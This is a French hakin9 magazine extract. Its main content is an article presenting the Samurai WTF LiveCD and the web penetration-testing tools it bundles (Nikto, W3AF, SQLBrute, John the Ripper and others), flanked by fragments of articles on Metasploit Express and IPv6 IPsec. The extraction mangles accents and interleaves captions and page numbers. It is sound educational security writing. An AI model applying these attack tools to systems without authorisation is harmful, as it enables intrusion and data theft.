Pour finir longlet Modules permet lexploitation dune vulneacuterabiliteacute speacutecifique ou dun module auxiliaire contre une cible deacutefinie Il sagit de leacutequivalent graphi-que de la commande use exploit ou use auxiliary de msfconsole Les modules sont noteacutes de une agrave sept eacutetoi-les Ce classement permet de controcircler lordre deacutexecu-tion lors de lautomatisation dexploit La meacutethodologie de classement est accessible agrave ladresse httpwwwmetasploitcomredmineprojectsframeworkwikiEx-ploit_Ranking

conclusionMetasploit express est un outil agrave part entiegravere visant les pen-testers professionnels Il permet de beacuteneacutefi-cier de la puissance du Framework Metasploit et de celle de Nexpose en un minimum de temps Cet outil napporte donc aucune nouvelle possibiliteacute dexploita-tion mais facilite grandement le travail du consultant seacutecuriteacute

Pour les administrateurs avertis le Framework est un excellent moyen de veacuterifier la seacutecuriteacute de son reacuteseau et de sensibiliser les utilisateurs agrave la seacutecuriteacute infor-matique La maintien du Metasploit Framework sous licence BSD est une chance quil faut utiliser agrave bon escient

Agrave PRoPos DE LAuTEuRAuteur Alexandre LACANPour le contacter alexandrelacangmailcomhttptwittercomlades51

sur le reacuteseaubull httpwwwmetasploitcom ndash projet Metasploit bull httpwwwmetasploitcomredmineprojectsframeworkwi-

kindash wiki du projet Metasploitbull httpwwwrapid7com ndash site de la socieacuteteacute Rapid 7 eacuteditrice

de NeXpose et Metasploitbull httpwwwoff ensive-securitycommetasploit-unleashed ndash Ex-

cellent manuel dutilisation de Metasploit Framework agrave li-re absolument

bull httpblogmetasploitcom ndash Blog HD Moorebull httpwwwtwittercomhdmoorendash fi l twitter du creacuteateur de

Metasploit

5201030

pratique

La seacutecuriteacute des sites internet est aujourdhui lrsquoun des aspects de la seacutecuriteacute en entreprise le plus souvent neacutegligeacute alors qursquoil devrait ecirctre une prio-

riteacute dans nimporte quelle organisation De plus en plus les pirates informatiques concentrent leurs efforts sur les applications web afin drsquoobtenir une approche des in-formations confidentielles et abuser des donneacutees sensi-bles comme les deacutetails de clients les numeacuteros de carte de creacutedit et autre

Les applications web reacutealisant des achats en ligne des authentifications drsquoutilisateurs ou utilisant simple-ment tous types de contenu dynamique permettent agrave lrsquoutilisateur drsquointeragir avec des donneacutees contenues dans une base de donneacutees Sur certaines applica-tions ces donneacutees peuvent ecirctre personnelles voire sensibles Si ces applications web ne sont pas seacutecu-riseacutees votre base de donneacutees entiegravere court un risque reacuteel

Comme tous systegravemes informatiques une application web doit reacutepondre agrave trois caracteacuteristiques

bull Confidentialiteacutebull Disponibiliteacutebull Inteacutegriteacute

La seacutecurisation des reacuteseaux et lrsquoinstallation drsquoun pare-feu ne fournissent aucune protection contre les atta-ques web car elles sont lanceacutees sur le port 80 (le port par deacutefaut pour les sites Internet) qui doit rester ouvert Pour la strateacutegie de seacutecuriteacute la plus complegravete il est

donc urgent dauditer reacuteguliegraverement vos applications web pour veacuterifier la preacutesence de vulneacuterabiliteacutes exploi-tables

Pourquoi srsquoattaquer agrave une application web Les failles web permettent des actions de plus en plus

importantes de la part des pirates informatique Il est fini le temps ougrave le piratage drsquoun site Web consistait agrave affi-cher une simple fenecirctre sur la page de lrsquoutilisateur ou bien le vol drsquoun cookie De nos jours le piratage drsquoune application Web est nettement plus dangereux que cela deacutefaccedilage complet ou partiel drsquoun site Internet ou accegraves aux donneacutees sensibles des utilisateurs Les raisons de ces actions Les pirates informatiques sont principale-ment motiveacutes par deux raisons

Samurai proteacutegez vos applications web

Les failles web donnent une belle opportuniteacute aux pirates informatiques Samurai WTF est speacutecialiste dans les tests de peacuteneacutetration sur les applications web

Cet article expliquebull Lrsquoutilisation de Samuraibull La reacutecupeacuteration drsquoinformation

Ce quil faut savoirbull Les bases des sites webbull Les bases des attaques Web (Injection SQL Injection de code

Inclusion de fichier)

reacutegis Senet

Figure 1 Ecran de boot du Live CD

Samurai proteacutegez vos applications web

hakin9orgfr 31

nom de code The Hardy Heron Cette version a eacuteteacute pu-blieacutee en version stable le 24 avril 2008 soit agrave peine quel-ques mois avant la sortie de la premiegravere version de Sa-murai WTF

Samurai sappuyant sur Ubuntu GNOME (GNU Network Object Model Environment) se trouve ecirctre lrsquoen-vironnement graphique par deacutefaut

Samurai WTF est donc un LiveCD preacuteconfigureacute pour les tests de peacuteneacutetration des sites web Le LiveCD contient les meilleurs outils de cette cateacutegorie qursquoils soient Open Source ou bien gratuits

Lrsquoensemble de ces outils se divise en trois cateacutegories distinctes

bull Reconnaissancebull Deacutecouvertebull Exploitation

Nous preacutesenterons plus en deacutetails lrsquoensemble de ces cateacutegories dans le prochain module Nous preacutesente-rons eacutegalement en deacutetails les outils les plus importants disponibles sur ce LiveCD

Origine du projetLe projet Samurai Web Testing Framework a vu le jour pour sa premiegravere mise en ligne le 08 Octobre 2008 sous sa version 01 gracircce au travail de Kevin Johnson et Jus-tin Searle Kevin et Justin sont deux analystes en seacute-curiteacute informatique expeacuterimenteacutes ainsi que des admi-nistrateurs reacuteseaux et pen-tester aguerris Actuellement agrave sa version 04 Samurai WTF se voit srsquoameacuteliorer de version en version en fixant drsquoeacuteventuels bugs sur les logiciels preacutesents ainsi qursquoen ajoutant de nouveaux lo-giciels Parallegravelement agrave lrsquoeacutevolution du projet et sa pri-se drsquoimportance deux autres deacuteveloppeurs Franck Di-Maggio et Brian Bentley sont venus srsquoajouter au projet afin de travailler aux cocircteacutes des deux initiateurs du pro-jet Samurai WTF a pour objectif de devenir LA platefor-me de reacutefeacuterence en qualiteacute de peacuteneacutetration des applica-tions web devant le tregraves complet BackTrack qui agrave deacutejagrave

bull La gloire Le deacutefaccedilage drsquoun site rentre souvent dans cette cateacutegorie de piratage En effet le deacutefaccedila-ge drsquoun site sert parfois agrave marquer son territoire ou simplement agrave se faire connaicirctre par le monde des pirates en modifiant le site cible

bull Lrsquoargent Les pirates sont souvent attireacutes par lappacirct du gain qursquoil soit direct ou indirect Un gain direct est un gain leur revenant person-nellement alors qursquoun gain indirect se deacutefinirait plus comme eacutetant une perte pour lrsquoentreprise ci-ble En effet le vol drsquoinformations confidentielles comme les numeacuteros de carte bleue par exemple est un commerce de plus en plus porteur sur le net

En exemple de gain indirect en 2006 ChoicePoint a payeacute 10 millions de dollars dans les peines civiles et 5 millions dans le deacutedommagement de consomma-teurs apregraves que 163 000 dossiers financiers person-nels de consommateurs avaient eacuteteacute compromis dans sa base de donneacutees De mecircme un pirate informati-que a gagneacute lapproche agrave plus de cinq millions de nu-meacuteros de cartes de creacutedit en feacutevrier 2003 gracircce agrave une attaque dapplication web Il est temps drsquoinclure les si-tes web dans la politique de seacutecuriteacute des entreprises et ceci de maniegravere draconienne Pour ce faire nous allons maintenant vous preacutesenter Samurai Web Tes-ting Framework

qursquoest ce que Samurai Avec la deacutemocratisation des LiveCD speacutecialiseacutes Samurai nrsquoa pu deacuteroger agrave la regravegle Samurai ou plus preacuteciseacutement Samurai Web Testing Framework ou encore Samurai WTF est donc un LiveCD speacutecia-liseacute dans les tests de peacuteneacutetration sur les applica-tions web

Samurai WTF est un LiveCD fondeacute sur un envi-ronnement GNULinux Bien que moins habituelle qursquoOpenBSD FreeBSD et autre Samurai WTF sap-puie sur une distribution Ubuntu 804 LTS ayant pour

Figure 2 BootSplash de Samurai Figure 3 Ecran de login

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

FierceFierce ou plus preacuteciseacutement Fierce Domain Scanner est petit script eacutecrit en Perl dont le but est drsquoauditer la seacutecuriteacute des applications web Il est capable de tes-ter des domaines qui ne sont pas continus Fierce Do-main Scanner analyse un domaine et tente drsquoidentifier des sites qui sont susceptibles decirctre des cibles po-tentielles dune attaque web Fierce Domain Scanner trouve sa place dans la cateacutegorie des outils de recon-naissance

GooScanGooScan est un scanner de vulneacuterabiliteacutes pour page web fonctionnant agrave partir de requecirctes avec le moteur de recherche Google Crsquoest un utilitaire assez puissant uniquement preacutesent en ligne de commande Cet outil permet de ne pas faire de recherches directement sur la cible en elle-mecircme mais en premier lieu en passant par le moteur de recherche Google afin de reacutecupeacuterer le maximum drsquoinformations sans toucher au systegraveme cible Tout comme Fierce GooScan trouve sa place

dans la cateacutegorie des outils de reconnaissance (voir Figure 7)

HttpprintHttpprint est un logiciel qui relegraveve les laquo empreintes raquo drsquoun serveur web (voir Figure 8) Httpprint deacutetecte avec exactitude les caracteacuteristiques du serveur Web distant mecircme si certains administrateurs systegraveme tentent de cacher ces caracteacuteristiques en changeant certains pa-ramegravetres ainsi que les banniegraveres

Httpprint utilise des signatures pour la reconnaissan-ce des diffeacuterents types de serveur web Il est possible drsquoajouter ses propres signatures agrave la base de donneacutees deacutejagrave preacutesente

MaltegoMaltego est un outil qui deacutetermine les relations et les liens reacuteels entre le monde (personnes entreprises organisations sites web etc ) Maltego permet de trouver simplement et de maniegravere graphique des in-formations telles que des documents les diffeacuterentes adresses e-mail dune personne des numeacuteros de teacute-leacutephone qui pourraient lui ecirctre associeacutes des rensei-gnements sur linfrastructure mais aussi collecter des informations et bien dautres choses encore Trou-vant sa place dans les outils de type laquo reconnaissan-ce raquo Maltego est reacuteputeacute pour ecirctre lrsquoun des meilleurs

Figure 8 Relever les empreintes avec HTTPRINT

Samurai proteacutegez vos applications web

hakin9orgfr 35

outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

